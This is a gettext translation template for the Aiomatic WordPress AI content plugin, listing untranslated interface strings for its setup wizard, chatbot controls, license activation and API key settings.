#: aiomatic-helpers.php:3426 msgid "Mexico" msgstr "" #: aiomatic-helpers.php:3427 msgid "Japan" msgstr "" #: aiomatic-helpers.php:3428 msgid "Italy" msgstr "" #: aiomatic-helpers.php:3429 msgid "Canada" msgstr "" #: aiomatic-helpers.php:3430 msgid "Germany" msgstr "" #: aiomatic-helpers.php:3431 msgid "France" msgstr "" #: aiomatic-helpers.php:3432 msgid "Brasil" msgstr "" #: aiomatic-helpers.php:3433 msgid "India" msgstr "" #: aiomatic-helpers.php:3434 msgid "Australia" msgstr "" #: aiomatic-helpers.php:3435 msgid "Egypt" msgstr "" #: aiomatic-helpers.php:3436 msgid "Poland" msgstr "" #: aiomatic-helpers.php:3437 msgid "Saudi Arabia" msgstr "" #: aiomatic-helpers.php:3438 msgid "Sweden" msgstr "" #: aiomatic-helpers.php:3439 msgid "Netherlands" msgstr "" #. translators: 1: The name of the PHP constant that is set. #: aiomatic-helpers.php:3844 #, php-format msgid "The %s constant is set to true. WP-Cron spawning is disabled." msgstr "" #. translators: 1: The name of the PHP constant that is set. #: aiomatic-helpers.php:3849 #, php-format msgid "The %s constant is set to true." msgstr "" #. translators: 1: The HTTP response code. #: aiomatic-helpers.php:3880 #, php-format msgid "Unexpected HTTP response code: %s" msgstr "" #: aiomatic-helpers.php:4050 msgid "Invalid image URL." msgstr "" #: aiomatic-helpers.php:5714 msgid "Aiomatic" msgstr "" #: aiomatic-helpers.php:5721 msgid "Loading content..." msgstr "" #: aiomatic-shortcodes-file.php:154 msgid "Please log in to your account to see usage info." msgstr "" #: aiomatic-shortcodes-file.php:188 msgid "Form ID not found in the database!" msgstr "" #: aiomatic-shortcodes-file.php:504 aiomatic-shortcodes-file.php:528 msgid "Copy" msgstr "" #: aiomatic-shortcodes-file.php:509 aiomatic-shortcodes-file.php:533 #: res/aiomatic-limits-statistics.php:1073 #: res/aiomatic-limits-statistics.php:1204 msgid "Characters" msgstr "" #: aiomatic-shortcodes-file.php:547 msgid "Download" msgstr "" #: aiomatic-shortcodes-file.php:570 msgid "AI Settings" msgstr "" #: aiomatic-shortcodes-file.php:572 msgid "AI Asssitant ID" msgstr "" #: aiomatic-shortcodes-file.php:621 res/aiomatic-amazon-list.php:4153 #: res/aiomatic-listicle-list.php:3959 res/aiomatic-review-list.php:4306 #: res/aiomatic-rules-list.php:4526 res/aiomatic-youtube-list.php:4034 msgid "AI Temperature" msgstr "" #: aiomatic-shortcodes-file.php:654 msgid "You need to specify the id parameter for this shortcode to work!" msgstr "" #: aiomatic-shortcodes-file.php:3834 aiomatic-shortcodes-file.php:3989 #: aiomatic-shortcodes-file.php:4095 aiomatic-shortcodes-file.php:4195 #: aiomatic-shortcodes-file.php:4296 aiomatic-shortcodes-file.php:4736 msgid "Please select a prompt" msgstr "" #: aiomatic-shortcodes-file.php:3884 aiomatic-shortcodes-file.php:4015 #: aiomatic-shortcodes-file.php:4127 aiomatic-shortcodes-file.php:4227 #: aiomatic-shortcodes-file.php:4328 msgid "Submit" msgstr "" #: aiomatic-shortcodes-file.php:4415 msgid "" "You need to add a list of persona IDs, in the ai_personas shortcode " "parameter." msgstr "" #: aiomatic-shortcodes-file.php:4427 msgid "Incorrect ai_personas parameter given." msgstr "" #: aiomatic-shortcodes-file.php:4448 res/aiomatic-chatbot.php:1245 msgid "No avatar added" msgstr "" #: aiomatic-shortcodes-file.php:4465 class-setup-wizard.php:326 msgid "Back" msgstr "" #: aiomatic-shortcodes-file.php:5889 aiomatic-shortcodes-file.php:8177 msgid "Mute/Unmute" msgstr "" #: aiomatic-shortcodes-file.php:5890 aiomatic-shortcodes-file.php:8178 msgid "Disable Chatbot Internet Access" msgstr "" #: aiomatic-shortcodes-file.php:5891 aiomatic-shortcodes-file.php:8179 msgid "Export Chat Conversation To File" msgstr "" #: aiomatic-shortcodes-file.php:5892 aiomatic-shortcodes-file.php:8180 msgid "Clear Chat Conversation" msgstr "" #: aiomatic-shortcodes-file.php:5900 msgid "Click on a bubble to copy its content!" msgstr "" #: aiomatic-shortcodes-file.php:8446 msgid "Upload an image to the chatbot" msgstr "" #: aiomatic-shortcodes-file.php:8450 msgid "Upload a file to the chatbot" msgstr "" #: aiomatic-shortcodes-file.php:8456 msgid "Upload a PDF file to the chatbot" msgstr "" #: aiomatic-shortcodes-file.php:8461 msgid "Stop message processing" msgstr "" #: aiomatic-shortcodes-file.php:8692 aiomatic-shortcodes-file.php:8860 #: aiomatic-shortcodes-file.php:8957 aiomatic-shortcodes-file.php:9055 msgid "Result" msgstr "" #: aiomatic-shortcodes-file.php:8694 res/aiomatic-assistants.php:162 #: res/aiomatic-batch.php:131 res/aiomatic-batch.php:242 #: res/aiomatic-training.php:101 res/aiomatic-training.php:216 #: res/aiomatic-training.php:440 msgid "Purpose" msgstr "" #: aiomatic-shortcodes-file.php:8697 msgid "Transcriptions" msgstr "" #: aiomatic-shortcodes-file.php:8698 msgid "Translations" msgstr "" #: aiomatic-shortcodes-file.php:8704 msgid "File" msgstr "" #: aiomatic-shortcodes-file.php:8707 res/aiomatic-main.php:9430 #: res/aiomatic-main.php:9929 msgid "Computer" msgstr "" #: aiomatic-shortcodes-file.php:8708 res/aiomatic-embeddings.php:217 #: res/aiomatic-shortcodes.php:63 msgid "URL" msgstr "" #: aiomatic-shortcodes-file.php:8709 msgid "Recording" msgstr "" #: aiomatic-shortcodes-file.php:8718 msgid "Record" msgstr "" #: aiomatic-shortcodes-file.php:8719 msgid "Pause" msgstr "" #: aiomatic-shortcodes-file.php:8720 msgid "Stop" msgstr "" #: aiomatic-shortcodes-file.php:8726 res/aiomatic-embeddings.php:121 #: res/aiomatic-limits-statistics.php:940 res/aiomatic-single-list.php:855 #: res/aiomatic-single-list.php:886 res/aiomatic-training.php:437 #: res/aiomatic-training.php:528 msgid "Model" msgstr "" #: aiomatic-shortcodes-file.php:8734 msgid "Prompt (Optional)" msgstr "" #: aiomatic-shortcodes-file.php:8740 msgid "Temperature (Optional)" msgstr "" #: aiomatic-shortcodes-file.php:8746 msgid "Language (Optional)" msgstr "" #: aiomatic-shortcodes-file.php:8761 msgid "Conversion has completed successfully." msgstr "" #: aiomatic-shortcodes-file.php:8762 msgid "Converting. This will take some time. Please wait!" msgstr "" #: aiomatic-shortcodes-file.php:8770 msgid "Start" msgstr "" #: aiomatic-shortcodes-file.php:8771 res/aiomatic-batch.php:341 #: res/aiomatic-training.php:563 msgid "Cancel" msgstr "" #: aiomatic-shortcodes-file.php:8872 msgid "Text moderation has completed successfully." msgstr "" #: aiomatic-shortcodes-file.php:8873 aiomatic-shortcodes-file.php:8971 #: aiomatic-shortcodes-file.php:9069 msgid "Checking. This will take some time. Please wait!" msgstr "" #: aiomatic-shortcodes-file.php:8880 msgid "Text Moderation Check" msgstr "" #: aiomatic-shortcodes-file.php:8905 aiomatic-shortcodes-file.php:9003 msgid "" "You need to add a PlagiarismCheck API key in plugin settings for this " "shortcode to work." msgstr "" #: aiomatic-shortcodes-file.php:8970 msgid "Text plagiarism checking has completed successfully." msgstr "" #: aiomatic-shortcodes-file.php:8978 msgid "Text Plagiarism Check" msgstr "" #: aiomatic-shortcodes-file.php:9068 msgid "Text AI content detection has completed successfully." msgstr "" #: aiomatic-shortcodes-file.php:9076 msgid "Text AI Content Check" msgstr "" #: aiomatic-streaming.php:183 msgid "Invalid bufferid sent!" msgstr "" #: aiomatic-streaming.php:189 msgid "Incorrect bufferid provided!" msgstr "" #: aiomatic-streaming.php:232 msgid "Failed to decode conversation data!" msgstr "" #: aiomatic-streaming.php:350 msgid "" "Daily token count for your user account is exceeded! Please try again " "tomorrow." msgstr "" #: aiomatic-streaming.php:436 msgid "Empty API seed expression provided (after processing)" msgstr "" #: aiomatic-streaming.php:454 msgid "Empty input text provided!" msgstr "" #: class-setup-wizard.php:58 res/aiomatic-main.php:20 msgid "Welcome" msgstr "" #: class-setup-wizard.php:63 msgid "Activation" msgstr "" #: class-setup-wizard.php:68 class-setup-wizard.php:693 #: class-setup-wizard.php:928 res/aiomatic-main.php:31 msgid "API Keys" msgstr "" #: class-setup-wizard.php:73 res/aiomatic-amazon-list.php:1336 #: res/aiomatic-amazon-list.php:1463 res/aiomatic-amazon-list.php:3898 #: res/aiomatic-amazon-list.php:4051 res/aiomatic-embeddings.php:119 #: res/aiomatic-listicle-list.php:1244 res/aiomatic-listicle-list.php:1371 #: res/aiomatic-listicle-list.php:3715 res/aiomatic-listicle-list.php:3868 #: res/aiomatic-main.php:10303 res/aiomatic-main.php:10565 #: res/aiomatic-review-list.php:1405 res/aiomatic-review-list.php:1532 #: res/aiomatic-review-list.php:4051 res/aiomatic-review-list.php:4204 #: res/aiomatic-rules-list.php:1510 res/aiomatic-rules-list.php:1637 #: res/aiomatic-rules-list.php:4271 res/aiomatic-rules-list.php:4424 #: res/aiomatic-single-list.php:936 res/aiomatic-training.php:331 #: res/aiomatic-youtube-list.php:1262 res/aiomatic-youtube-list.php:1389 #: res/aiomatic-youtube-list.php:3779 res/aiomatic-youtube-list.php:3932 msgid "Content" msgstr "" #: class-setup-wizard.php:78 msgid "Editor" msgstr "" #: class-setup-wizard.php:83 class-setup-wizard.php:1278 #: class-setup-wizard.php:1279 msgid "Chatbot" msgstr "" #: class-setup-wizard.php:88 class-setup-wizard.php:571 #: class-setup-wizard.php:646 res/aiomatic-main.php:48 #: res/aiomatic-main.php:3829 res/aiomatic-main.php:7700 #: res/aiomatic-main.php:8221 msgid "AI Forms" msgstr "" #: class-setup-wizard.php:93 msgid "Playground" msgstr "" #: class-setup-wizard.php:98 msgid "More" msgstr "" #: class-setup-wizard.php:103 msgid "Ready!" msgstr "" #: class-setup-wizard.php:251 class-setup-wizard.php:257 msgid "Aiomatic Quick Setup & Tutorial" msgstr "" #: class-setup-wizard.php:281 msgid "" "You need to add an AiomaticAPI/OpenAI/Azure OpenAI API key to use these " "features!" msgstr "" #: class-setup-wizard.php:308 msgid "Save & Continue" msgstr "" #: class-setup-wizard.php:314 msgid "Continue" msgstr "" #: class-setup-wizard.php:321 msgid "Skip" msgstr "" #: class-setup-wizard.php:328 msgid "Abort" msgstr "" #: class-setup-wizard.php:336 msgid "Congratulations on choosing Aiomatic!" msgstr "" #: class-setup-wizard.php:337 msgid "" "You are about to streamline your WordPress experience with the top AI " "content creation tool available. This Quick Setup Wizard is designed to help " "you configure the essential settings of Aiomatic swiftly and effortlessly. " "Setting up should take no more than a few minutes." msgstr "" #: class-setup-wizard.php:338 msgid "Why use the Quick Setup?" msgstr "" #: class-setup-wizard.php:340 msgid "Efficient Configuration:" msgstr "" #: class-setup-wizard.php:340 msgid "Get your plugin up and running with settings that cater to your needs." msgstr "" #: class-setup-wizard.php:341 msgid "Flexibility:" msgstr "" #: class-setup-wizard.php:341 msgid "You can also customize the settings later in the Aiomatic dashboard." msgstr "" #: class-setup-wizard.php:342 msgid "Guidance:" msgstr "" #: class-setup-wizard.php:342 msgid "Step-by-step assistance to make setup a breeze." msgstr "" #: class-setup-wizard.php:346 msgid "What you'll need:" msgstr "" #: class-setup-wizard.php:348 #, php-format msgid "" "Your API key for AiomaticAPI, OpenAI or Microsoft Azure " "OpenAI (whichever you prefer). Other, secondary AI services will also be " "able to be used in the plugin, like: Anthropic (Claude), Google AI Studio " "(Gemini Pro), Perplexity AI, HuggingFaceAI or OpenRouter - each will provide " "a set of AI models for use in the plugin." msgstr "" #: class-setup-wizard.php:349 msgid "" "Basic configuration details like your preferred AI model and content " "generation preferences." msgstr "" #: class-setup-wizard.php:351 msgid "Optional but helpful:" msgstr "" #: class-setup-wizard.php:353 msgid "" "Access to tutorial videos that provide a visual guide on configuring and " "maximizing Aiomatic:" msgstr "" #: class-setup-wizard.php:354 msgid "Watch Aiomatic's Quick Setup Tutorials" msgstr "" #: class-setup-wizard.php:355 msgid "Watch Aiomatic's Update Videos" msgstr "" #: class-setup-wizard.php:357 msgid "Not the right time?" msgstr "" #: class-setup-wizard.php:359 msgid "" "Feel free to skip this setup wizard and jump straight to the Aiomatic " "dashboard. You can return to this setup wizard anytime to fine-tune your " "configuration. To do so, go to the plugin' 'Settings' menu -> 'Welcome' tab, " "where you will be able to access this wizard again in the future." msgstr "" #: class-setup-wizard.php:361 msgid "" "Let's get started and unlock the full potential of your WordPress site with " "AI-powered content!" msgstr "" #: class-setup-wizard.php:362 msgid "Need help or have questions? Our comprehensive" msgstr "" #: class-setup-wizard.php:362 msgid "support center" msgstr "" #: class-setup-wizard.php:362 msgid "is here for you" msgstr "" #: class-setup-wizard.php:363 msgid "" "Thank you for choosing Aiomatic - where powerful AI meets content creation." msgstr "" #: class-setup-wizard.php:363 msgid "Let's make something amazing together!" msgstr "" #: class-setup-wizard.php:365 msgid "Let's Go!" msgstr "" #: class-setup-wizard.php:366 msgid "Not right now" msgstr "" #: class-setup-wizard.php:373 msgid "License Activation" msgstr "" #: class-setup-wizard.php:388 res/aiomatic-main.php:1798 msgid "Plugin Registration Info - Automatic Updates Enabled:" msgstr "" #: class-setup-wizard.php:390 res/aiomatic-main.php:1803 msgid "Item Name:" msgstr "" #: class-setup-wizard.php:392 res/aiomatic-main.php:1805 msgid "Item ID:" msgstr "" #: class-setup-wizard.php:395 res/aiomatic-main.php:1808 msgid "Created At:" msgstr "" #: class-setup-wizard.php:398 res/aiomatic-main.php:1811 msgid "Buyer Name:" msgstr "" #: class-setup-wizard.php:401 res/aiomatic-main.php:1814 msgid "License Type:" msgstr "" #: class-setup-wizard.php:404 res/aiomatic-main.php:1817 msgid "Supported Until:" msgstr "" #: class-setup-wizard.php:412 res/aiomatic-main.php:1825 #, php-format msgid "" "Your support for Aiomatic has expired. Please renew it to continue receiving support for the plugin. " "After you renewed support, please click the \"Revoke License\" button, from " "the plugin's \"Settings\" menu -> \"Plugin Activation\" tab and add your " "license key again, to activate the plugin with the renewed support license." msgstr "" #: class-setup-wizard.php:421 class-setup-wizard.php:430 #: res/aiomatic-main.php:1833 res/aiomatic-main.php:1848 msgid "Revoke License" msgstr "" #: class-setup-wizard.php:429 res/aiomatic-main.php:1843 msgid "" "You are using a PIRATED version of the plugin! Because of this, the main " "functionality of the plugin is not available. Please revoke your license and " "activate a genuine license for the Aiomatic plugin. Note that the only place " "where you can get a valid license for the plugin is found here (if you find " "the plugin for sale also on other websites, do not buy, they are selling " "pirated copies): " msgstr "" #: class-setup-wizard.php:429 res/aiomatic-main.php:1843 msgid "Aiomatic on CodeCanyon" msgstr "" #: class-setup-wizard.php:440 msgid "Failed to change the plugin license status: " msgstr "" #: class-setup-wizard.php:443 msgid "" "To unlock all the features of Aiomatic and start generating high-quality AI " "content, please activate your license key. By activating the plugin you will " "also benefit of automatic updates. Activation is a one-time process and " "provides you access to the best of Aiomatic in compliance with our terms of " "use." msgstr "" #: class-setup-wizard.php:451 res/aiomatic-main.php:1868 #, php-format msgid "" "Please input your Envato purchase code, to enable automatic updates in the " "plugin. To get your purchase code, please follow this tutorial. Info submitted to the registration " "server consists of: purchase code, site URL, site name, admin email. All " "these data will be used strictly for registration purposes." msgstr "" #: class-setup-wizard.php:455 res/aiomatic-main.php:1872 msgid "Aiomatic Purchase Code:" msgstr "" #: class-setup-wizard.php:457 res/aiomatic-main.php:1874 msgid "Envato Purchase Code" msgstr "" #: class-setup-wizard.php:461 res/aiomatic-main.php:1878 msgid "Activate License" msgstr "" #: class-setup-wizard.php:484 msgid "AI Content Creation" msgstr "" #: class-setup-wizard.php:485 msgid "" "From here on, the Quick Setup will teach you the basics of the plugin's " "usage, check each step and read the provided explanations carefully. Also, " "watching the tutorial videos can be very helpful for a better understanding " "of the plugin's functionality." msgstr "" #: class-setup-wizard.php:486 msgid "" "Aiomatic revolutionizes content creation with AI-driven capabilities " "designed to cater to a wide range of content needs. From single posts to " "bulk articles, and from video captions to product reviews, this plugin " "covers all bases, streamlining the content generation process for your " "WordPress site. There will be both manual and automatic variants of content " "creation, check below the options offered by the plugin:" msgstr "" #: class-setup-wizard.php:489 class-setup-wizard.php:502 #: class-setup-wizard.php:512 class-setup-wizard.php:520 #: class-setup-wizard.php:528 class-setup-wizard.php:536 #: class-setup-wizard.php:544 class-setup-wizard.php:596 #: class-setup-wizard.php:607 class-setup-wizard.php:624 #: class-setup-wizard.php:939 class-setup-wizard.php:980 #: class-setup-wizard.php:991 class-setup-wizard.php:1041 #: class-setup-wizard.php:1122 class-setup-wizard.php:1146 #: class-setup-wizard.php:1165 class-setup-wizard.php:1184 #: class-setup-wizard.php:1200 class-setup-wizard.php:1213 #: class-setup-wizard.php:1228 class-setup-wizard.php:1240 #: class-setup-wizard.php:1264 class-setup-wizard.php:1269 #: class-setup-wizard.php:1274 class-setup-wizard.php:1279 #: class-setup-wizard.php:1284 class-setup-wizard.php:1289 #: class-setup-wizard.php:1294 class-setup-wizard.php:1298 #: class-setup-wizard.php:1366 class-setup-wizard.php:1375 #: class-setup-wizard.php:1411 class-setup-wizard.php:1426 #: class-setup-wizard.php:1435 msgid "Location:" msgstr "" #: class-setup-wizard.php:489 msgid "Single AI Post Creator Menu" msgstr "" #: class-setup-wizard.php:490 msgid "" "The Single AI Post Creator allows you to effortlessly create individual blog " "posts using AI. Here, you can manually edit and publish each AI-generated " "article, complete with images. The Single AI Post Creator has two different " "modes in which it can be used:" msgstr "" #: class-setup-wizard.php:491 msgid "1. Express Mode:" msgstr "" #: class-setup-wizard.php:491 msgid "" "Quickly generate a post with AI-assisted content—ideal for when you need " "content fast." msgstr "" #: class-setup-wizard.php:492 msgid "Watch a Tutorial for the Single AI Post Creator Express Mode:" msgstr "" #: class-setup-wizard.php:495 msgid "2. Advanced Mode:" msgstr "" #: class-setup-wizard.php:495 msgid "" "Offers detailed controls to fine-tune the AI output, perfect for when you " "need a more tailored approach." msgstr "" #: class-setup-wizard.php:496 msgid "Watch a Tutorial for the Single AI Post Creator Advanced Mode:" msgstr "" #: class-setup-wizard.php:501 res/aiomatic-limits-statistics.php:431 #: res/aiomatic-limits-statistics.php:2089 res/aiomatic-main.php:6605 #: res/aiomatic-main.php:7622 res/aiomatic-main.php:8143 msgid "Bulk AI Post Creator" msgstr "" #: class-setup-wizard.php:502 msgid "Bulk AI Post Creator Menu" msgstr "" #: class-setup-wizard.php:503 msgid "" "For those looking to scale their content creation, the Bulk AI Post Creator " "automates the process, allowing you to publish multiple posts according to a " "schedule. Here also you will find two different ways which will be able to " "be used, to create content in bulk:" msgstr "" #: class-setup-wizard.php:504 msgid "1. Title Based Post Creator:" msgstr "" #: class-setup-wizard.php:504 msgid "" "A more straight forward approach, allowing you to input titles, and the AI " "will generate corresponding posts, streamlining the creation process. This " "is recommended if you want to create shorter articles (the entire article " "will be created with a single API call)." msgstr "" #: class-setup-wizard.php:505 msgid "2. Section Based Post Creator:" msgstr "" #: class-setup-wizard.php:505 msgid "" "Start with keywords, and the AI develops long-form content, crafted to " "provide depth and value. This is recommended for detailed articles, which " "are based on multiple sections (each section will be created with a " "different API call)." msgstr "" #: class-setup-wizard.php:506 msgid "Watch a Tutorial for the Bulk AI Post Creator:" msgstr "" #: class-setup-wizard.php:511 msgid "YouTube Videos to Blog Posts" msgstr "" #: class-setup-wizard.php:512 msgid "YouTube to Blog Posts Menu" msgstr "" #: class-setup-wizard.php:513 msgid "" "Transform YouTube videos into engaging blog articles. This function parses " "video captions and employs AI to craft comprehensive posts based on the " "video content." msgstr "" #: class-setup-wizard.php:514 msgid "Watch a Tutorial for the YouTube to Blog Posts:" msgstr "" #: class-setup-wizard.php:520 msgid "Amazon Product Roundup Menu" msgstr "" #: class-setup-wizard.php:521 msgid "" "Create compelling product comparison articles with the Amazon Product " "Roundup feature. By entering search keywords, you'll get AI-generated " "articles that compare various Amazon products, utilizing imported product " "info for accuracy and depth." msgstr "" #: class-setup-wizard.php:522 msgid "Watch a Tutorial for the Amazon Product Roundup:" msgstr "" #: class-setup-wizard.php:528 msgid "Amazon Product Review Menu" msgstr "" #: class-setup-wizard.php:529 msgid "" "Delve into detailed reviews with the Amazon Product Review feature. Each " "article is crafted based on the extensive descriptions available on Amazon, " "providing your readers with thorough insights into the products." msgstr "" #: class-setup-wizard.php:530 msgid "Watch a Tutorial for the Amazon Product Review:" msgstr "" #: class-setup-wizard.php:535 class-setup-wizard.php:536 msgid "CSV Post Creator" msgstr "" #: class-setup-wizard.php:537 msgid "" "For data-driven content creation, the CSV Post Creator allows articles to be " "automatically generated from data uploaded in CSV format. This feature is " "perfect for creating content that includes data analytics, comparisons, or " "listings." msgstr "" #: class-setup-wizard.php:538 msgid "Watch a Tutorial for the CSV Post Creator:" msgstr "" #: class-setup-wizard.php:543 class-setup-wizard.php:544 #: res/aiomatic-automation-list.php:5041 res/aiomatic-main.php:34 #: res/aiomatic-main.php:7084 msgid "OmniBlocks" msgstr "" #: class-setup-wizard.php:545 msgid "" "OmniBlocks is the most advanced feature of this plugin, you can also call it " "the Ultimate AI Content Creation Tool, offering custom queues of blocks that " "work in unison to generate AI content. This includes text, images, videos, " "as well as integrating data from Amazon products, YouTube videos, web " "scrapes, RSS feeds, and Google search results. Content can be crafted into " "posts, published across social media platforms, or used to call webhooks for " "extensive automation." msgstr "" #: class-setup-wizard.php:548 msgid "Content Types:" msgstr "" #: class-setup-wizard.php:548 msgid "" "Generate diverse content types including posts for social media like " "Facebook, X (formerly Twitter), Instagram, Pinterest, YouTube Community, " "LinkedIn, and Reddit." msgstr "" #: class-setup-wizard.php:551 msgid "Advanced Integration:" msgstr "" #: class-setup-wizard.php:551 msgid "Use webhooks for dynamic content creation and distribution strategies." msgstr "" #: class-setup-wizard.php:554 msgid "Continuous Development:" msgstr "" #: class-setup-wizard.php:554 msgid "" "New OmniBlock templates and types are continuously added to the plugin in " "new updates, allowing you to use them in more and more powerful ways." msgstr "" #: class-setup-wizard.php:557 msgid "Watch a Tutorial for the OmniBlocks:" msgstr "" #: class-setup-wizard.php:560 class-setup-wizard.php:561 msgid "" "These features are designed to harness the power of AI to not only simplify " "content creation but also to enhance the quality and relevance of the " "content you publish on your WordPress site. Dive into each feature, explore " "its potential, and transform the way you create content online." msgstr "" #: class-setup-wizard.php:572 msgid "" "AI Forms within the Aiomatic plugin offer a dynamic way to interact with " "your site visitors through customizable input forms. These forms can be " "configured to use textual inputs or to generate images with Dall-E, " "Midjourney or Stable Diffusion models, enhancing the functionality and " "interactivity of your WordPress site." msgstr "" #: class-setup-wizard.php:573 res/aiomatic-shortcodes.php:123 msgid "What are AI Forms?" msgstr "" #: class-setup-wizard.php:574 msgid "" "AI Forms allow for the creation of fully customizable forms that users can " "interact with directly on your site. These forms support multiple types of " "inputs including text boxes, radio buttons, checkboxes, and even AI-" "generated image selectors. You can integrate these forms anywhere on your " "site using the [aiomatic-form id=\"FORM_ID\"] shortcode." msgstr "" #: class-setup-wizard.php:575 msgid "Potential Uses:" msgstr "" #: class-setup-wizard.php:578 msgid "Customized User Interactions:" msgstr "" #: class-setup-wizard.php:578 msgid "Tailor responses to user queries or inputs." msgstr "" #: class-setup-wizard.php:581 msgid "AI Membership Sites:" msgstr "" #: class-setup-wizard.php:581 msgid "Facilitate user engagement and content personalization." msgstr "" #: class-setup-wizard.php:584 msgid "Enhanced Site Functionality:" msgstr "" #: class-setup-wizard.php:584 msgid "Leverage AI to provide unique services or features." msgstr "" #: class-setup-wizard.php:587 msgid "Built-in Shortcodes:" msgstr "" #: class-setup-wizard.php:587 msgid "" "Extend form capabilities with built-in shortcodes detailed in the 'Built-in " "Shortcodes' tab." msgstr "" #: class-setup-wizard.php:592 msgid "Getting Started with AI Forms" msgstr "" #: class-setup-wizard.php:593 msgid "Step 0: Preparation" msgstr "" #: class-setup-wizard.php:594 msgid "" "Ensure you understand the full capabilities and setup process by reading " "this tutorial and watching the associated tutorial video from below." msgstr "" #: class-setup-wizard.php:595 msgid "Step 1a: Import Default AI Forms" msgstr "" #: class-setup-wizard.php:596 res/aiomatic-shortcodes.php:117 msgid "AI Forms Importer/Exporter" msgstr "" #: class-setup-wizard.php:597 msgid "" "For quick deployment, import default forms that come bundled with the plugin:" msgstr "" #: class-setup-wizard.php:600 msgid "Navigate to the 'AI Forms Importer/Exporter' tab." msgstr "" #: class-setup-wizard.php:603 msgid "" "Click 'Import Default Forms' to instantly add pre-configured forms to your " "site." msgstr "" #: class-setup-wizard.php:606 msgid "Step 1b: Create Your Own AI Forms" msgstr "" #: class-setup-wizard.php:607 res/aiomatic-shortcodes.php:116 msgid "Add A New AI Form" msgstr "" #: class-setup-wizard.php:608 msgid "Customize and create your forms tailored to your needs:" msgstr "" #: class-setup-wizard.php:611 msgid "Form Types:" msgstr "" #: class-setup-wizard.php:611 msgid "" "Choose from text, Dall-E image, Midjourney or Stable Diffusion image forms." msgstr "" #: class-setup-wizard.php:614 msgid "Form Setup:" msgstr "" #: class-setup-wizard.php:614 msgid "" "Assign a name and description. Add custom input fields using the 'Add A New " "Form Input Field' button." msgstr "" #: class-setup-wizard.php:617 msgid "Input Fields:" msgstr "" #: class-setup-wizard.php:617 #, php-format msgid "" "For each input field, set an ID to use as a shortcode within the form's AI " "prompts (e.g., %%input_field_ID%%)." msgstr "" #: class-setup-wizard.php:620 res/aiomatic-main.php:7240 #: res/aiomatic-main.php:8539 msgid "Advanced Settings:" msgstr "" #: class-setup-wizard.php:620 msgid "Configure AI model settings and submit button text and much more." msgstr "" #: class-setup-wizard.php:623 msgid "Step 2: Use AI Forms on Your Site" msgstr "" #: class-setup-wizard.php:624 res/aiomatic-shortcodes.php:118 msgid "List AI Forms" msgstr "" #: class-setup-wizard.php:625 msgid "List and deploy AI Forms and manage them effectively:" msgstr "" #: class-setup-wizard.php:628 msgid "Embedding Forms:" msgstr "" #: class-setup-wizard.php:628 msgid "" "Use the [aiomatic-form id=\"FORM_ID\"] shortcode to add forms to posts, " "pages, or widgets." msgstr "" #: class-setup-wizard.php:631 msgid "Manage Forms:" msgstr "" #: class-setup-wizard.php:631 msgid "" "Edit, delete, or preview existing forms through the 'List AI Forms' tab." msgstr "" #: class-setup-wizard.php:635 msgid "Finalizing Your AI Forms Setup" msgstr "" #: class-setup-wizard.php:636 msgid "" "Transform your site with AI Forms—start engaging your users in more " "meaningful ways today! AI Forms pave the way for innovative interactions and " "content personalization, enhancing your digital presence and user experience." msgstr "" #: class-setup-wizard.php:637 msgid "" "Congratulations on setting up your AI Forms! These forms are not just tools " "for data collection but gateways to sophisticated interactions that utilize " "the full potential of AI within your WordPress environment." msgstr "" #: class-setup-wizard.php:639 msgid "Watch a Tutorial for AI Forms:" msgstr "" #: class-setup-wizard.php:646 class-setup-wizard.php:1304 #: class-setup-wizard.php:1400 class-setup-wizard.php:1448 msgid "For more settings, check the plugin's " msgstr "" #: class-setup-wizard.php:698 msgid "Main AI API Settings (Required):" msgstr "" #: class-setup-wizard.php:705 res/aiomatic-main.php:1910 msgid "" "Select the AI API service to use to generate content in the plugin using the " "gpt-3.5/gpt-4 models." msgstr "" #: class-setup-wizard.php:709 res/aiomatic-main.php:1914 msgid "Main API Service Provider Selector:" msgstr "" #: class-setup-wizard.php:719 res/aiomatic-main.php:1924 msgid "OpenAI / AiomaticAPI" msgstr "" #: class-setup-wizard.php:724 res/aiomatic-main.php:1929 msgid "Microsoft Azure" msgstr "" #: class-setup-wizard.php:732 res/aiomatic-main.php:1937 #, php-format msgid "" "Check this detailed step-by-step tutorial " "and also this tutorial video for info on " "setup and usage of Microsoft Azure OpenAI API in Aiomatic." msgstr "" #: class-setup-wizard.php:740 res/aiomatic-main.php:1947 #, php-format msgid "" "Insert your API Keys (one per line). For OpenAI API, get your API key here. For AiomaticAPI, get your API key here. For Azure, get your API key here." msgstr "" #: class-setup-wizard.php:744 res/aiomatic-main.php:1951 msgid "API Keys (One Per Line) - *Required:" msgstr "" #: class-setup-wizard.php:757 res/aiomatic-main.php:1964 msgid "Remaining API Tokens: " msgstr "" #: class-setup-wizard.php:767 res/aiomatic-main.php:1973 msgid "Please insert your OpenAI/AiomaticAPI API Key" msgstr "" #: class-setup-wizard.php:779 res/aiomatic-main.php:1984 #, php-format msgid "" "Insert your Azure OpenAI API endpoint. Get one in the Microsoft Azure Services panel." msgstr "" #: class-setup-wizard.php:783 res/aiomatic-main.php:1988 msgid "Azure OpenAI Endpoint:" msgstr "" #: class-setup-wizard.php:788 res/aiomatic-main.php:1993 msgid "Azure Endpoint" msgstr "" #: class-setup-wizard.php:791 res/aiomatic-main.php:1997 msgid "Azure AI Model Deployments List" msgstr "" #: class-setup-wizard.php:802 res/aiomatic-main.php:2007 #, php-format msgid "" "Insert your Azure OpenAI API deployment name for %s model. Create one in the " "Microsoft Azure Services panel." msgstr "" #: class-setup-wizard.php:806 res/aiomatic-main.php:2011 msgid "Azure OpenAI Deployment Name For '" msgstr "" #: class-setup-wizard.php:811 res/aiomatic-main.php:2016 msgid "Azure deployment name for " msgstr "" #: class-setup-wizard.php:818 msgid "Additional AI API Settings (Optional):" msgstr "" #: class-setup-wizard.php:825 res/aiomatic-main.php:2057 #, php-format msgid "" "Adding your Anthropic Claude API key in this settings field, will make the " "Anthropic Claude models to appear in all model selector boxes from the " "plugin. To make it work, insert your Anthropic Claude API Keys (one per " "line). Get your API key here." msgstr "" #: class-setup-wizard.php:829 class-setup-wizard.php:850 #: class-setup-wizard.php:871 class-setup-wizard.php:892 #: class-setup-wizard.php:913 res/aiomatic-main.php:2061 #: res/aiomatic-main.php:2082 res/aiomatic-main.php:2103 #: res/aiomatic-main.php:2124 res/aiomatic-main.php:2145 #: res/aiomatic-main.php:2242 res/aiomatic-main.php:2262 msgid "API Keys (One Per Line):" msgstr "" #: class-setup-wizard.php:834 res/aiomatic-main.php:2066 msgid "Please insert your Anthropic Claude API Key" msgstr "" #: class-setup-wizard.php:846 